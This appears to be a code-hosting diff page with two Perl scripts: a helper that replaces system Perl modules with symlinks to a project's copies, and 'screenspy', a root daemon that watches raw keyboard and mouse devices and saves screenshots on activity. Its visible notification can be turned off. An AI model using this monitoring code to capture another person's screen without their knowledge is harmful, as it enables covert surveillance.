# Currently supports the following types of things: |
||||
# * perl-libs |
||||
|
||||
my $root = shift; |
||||
if (!$root) { |
||||
die "Usage: $0 /path/to/git/project\n"; |
||||
} |
||||
if (!-d $root) { |
||||
die "Error: $root is not a directory\n"; |
||||
} |
||||
|
||||
chdir($root); |
||||
my $abspath = Cwd::abs_path("."); |
||||
|
||||
if (-d "./perl-libs") { |
||||
perl_libs(); |
||||
} |
||||
|
||||
sub perl_libs { |
||||
# Root directories to check. |
||||
my @lib = ( |
||||
"/usr/share/perl5", |
||||
"/usr/share/perl5/vendor_perl", |
||||
); |
||||
|
||||
# Find all the perl-libs projects. |
||||
opendir(my $dh, "./perl-libs"); |
||||
foreach my $project (readdir($dh)) { |
||||
next unless -d "./perl-libs/$project/lib"; |
||||
print "Project: perl-libs/$project\n"; |
||||
|
||||
# Get its modules. |
||||
foreach my $module (scan("./perl-libs/$project/lib")) { |
||||
$module =~ s{^\./perl-libs/$project/lib/}{}g; |
||||
foreach my $lib (@lib) { |
||||
if (-f "$lib/$module") { |
||||
print " - Link: $lib/$module\n"; |
||||
unlink("$lib/$module"); |
||||
symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module"); |
||||
} |
||||
} |
||||
} |
||||
} |
||||
} |
||||
|
||||
# Recursively scan a directory. |
||||
sub scan { |
||||
my $dir = shift; |
||||
|
||||
my @found; |
||||
|
||||
opendir (my $dh, $dir); |
||||
foreach my $file (readdir($dh)) { |
||||
next if ($file eq '.' || $file eq '..'); |
||||
if (-d "$dir/$file") { |
||||
push @found, scan("$dir/$file"); |
||||
} else { |
||||
push @found, "$dir/$file"; |
||||
} |
||||
} |
||||
closedir($dh); |
||||
|
||||
return @found; |
||||
} |
@ -0,0 +1,167 @@ |
||||
#!/usr/bin/perl -w |
||||
|
||||
# screenspy - Linux desktop monitoring daemon. Must be run as root. |
||||
|
||||
# This script monitors one or more hardware devices (usually under /dev) for |
||||
# Linux systems running an X window manager. |
||||
# |
||||
# This script must be run as root because usually only root can read from |
||||
# hardware devices directly. You can set up a panel launcher to run this |
||||
# script with `sudo` if you previously set up the sudoers file to let your |
||||
# user run this script with no password. |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use threads; |
||||
use threads::shared; |
||||
|
||||
################# |
||||
# Configuration # |
||||
################# |
||||
|
||||
# X display to grab screenshots from. |
||||
$ENV{DISPLAY} ||= ":0.0"; |
||||
|
||||
# Devices to monitor. |
||||
our @devices = ( |
||||
"/dev/console", # keyboard input |
||||
"/dev/input/mice", # mouse input |
||||
); |
||||
|
||||
# Screenshot command. |
||||
our $screenshot = 'scrot -q 85 "%s"'; |
||||
|
||||
# Output directory for screenshots. |
||||
our $outdir = '/home/kirsle/Pictures/screenspy'; |
||||
|
||||
# Calibration: number of seconds (after no activity) for it to take a screenshot. |
||||
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often. |
||||
|
||||
# Calibration: if there's too much activity after the threshold, take screenshots every N seconds. |
||||
our $prolonged = 5; |
||||
|
||||
# If you want some indication that the app is running, put the command to run in here. |
||||
# This command will be repeatedly run. Recommended is to use zenity and put an icon in |
||||
# your system tray. Leave blank for no command. |
||||
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'"; |
||||
|
||||
##################### |
||||
# End Configuration # |
||||
##################### |
||||
|
||||
# Only let this script run once. |
||||
&checkdupes(); |
||||
|
||||
# Each thread will report the time when the last event happened. |
||||
my %lastEvent : shared; |
||||
my %changed : shared; |
||||
|
||||
# Spawn a thread for each device. |
||||
my @threads = (); |
||||
foreach my $dev (@devices) { |
||||
# Make sure we can read the device. |
||||
if (!-r $dev) { |
||||
system("zenity --error --text \"Don't have permission to read from device $dev\""); |
||||
} |
||||
push (@threads, threads->create (\&monitor, $dev)); |
||||
} |
||||
|
||||
# If they want a command run, spawn a thread for it too. |
||||
if (length $notify) { |
||||
push (@threads, threads->create (\¬ify)); |
||||
} |
||||
|
||||
# Loop forever and let the threads do their thing. |
||||
while (1) { |
||||
# See if any events have stopped for longer than the threshold. |
||||
foreach my $dev (keys %lastEvent) { |
||||
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) { |
||||
# take screenshot |
||||
print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n"; |
||||
&screenshot(); |
||||
$lastEvent{$dev} = 0; |
||||
$changed{$dev} = 0; |
||||
} |
||||
} |
||||
select(undef,undef,undef,0.01); |
||||
} |
||||
|
||||
sub monitor { |
||||
my $device = shift; |
||||
print "Monitoring device: $device\n"; |
||||
|
||||
# Store the time when the last event was seen. |
||||
$lastEvent{$device} = 0; |
||||
|
||||
# When the lastEvent is first set (away from 0), record the time it was changed. |
||||
# This way for prolonged activity we can still take screenshots. |
||||
$changed{$device} = 0; |
||||
|
||||
open (READ, $device); |
||||
my $buffer; |
||||
while (read(READ, $buffer, 1)) { |
||||
# Store the last event time |
||||
if ($lastEvent{$device} == 0) { |
||||
$changed{$device} = time(); |
||||
} |
||||
$lastEvent{$device} = time(); |
||||
|
||||
# Too much activity? |
||||
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) { |
||||
# Take screenshot. |
||||
print "$device: prolonged activity (> $prolonged seconds)\n"; |
||||
&screenshot(); |
||||
$changed{$device} = time(); |
||||
} |
||||
} |
||||
close (READ); |
||||
} |
||||
|
||||
sub notify { |
||||
while (1) { |
||||
system($notify); |
||||
} |
||||
} |
||||
|
||||
sub screenshot { |
||||
print "Taking screenshot!\n"; |
||||
|
||||
my @time = localtime(time()); |
||||
my $date = join(" ", |
||||
join("-", |
||||
sprintf("%04d", $time[5] + 1900), |
||||
sprintf("%02d", $time[4] + 1), |
||||
sprintf("%02d", $time[3]), |
||||
), |
||||
join(":", |
||||
sprintf("%02d", $time[2]), |
||||
sprintf("%02d", $time[1]), |
||||
sprintf("%02d", $time[0]), |
||||
), |
||||
); |
||||
|
||||
my $fname = $date; |
||||
my $i = 1; |
||||
while (-f "$outdir/$fname.png") { |
||||
$fname = $date . " [$i]"; |
||||
$i++; |
||||
} |
||||
my $cmd = $screenshot; |
||||
$cmd =~ s/%s/$outdir\/$fname\.png/ig; |
||||
system($cmd); |
||||
} |
||||
|
||||
sub checkdupes { |
||||
my $ps = `ps aux | grep screenspy`; |
||||
foreach my $line (split(/\n/,$ps)) { |
||||
chomp $line; |
||||
next if $line =~ /grep/i; |
||||
next if $line =~ /$$/i; |
||||
if ($line) { |
||||
die "Script is already running!\n"; |
||||
} |
||||
} |
||||
} |
Loading…
Reference in new issue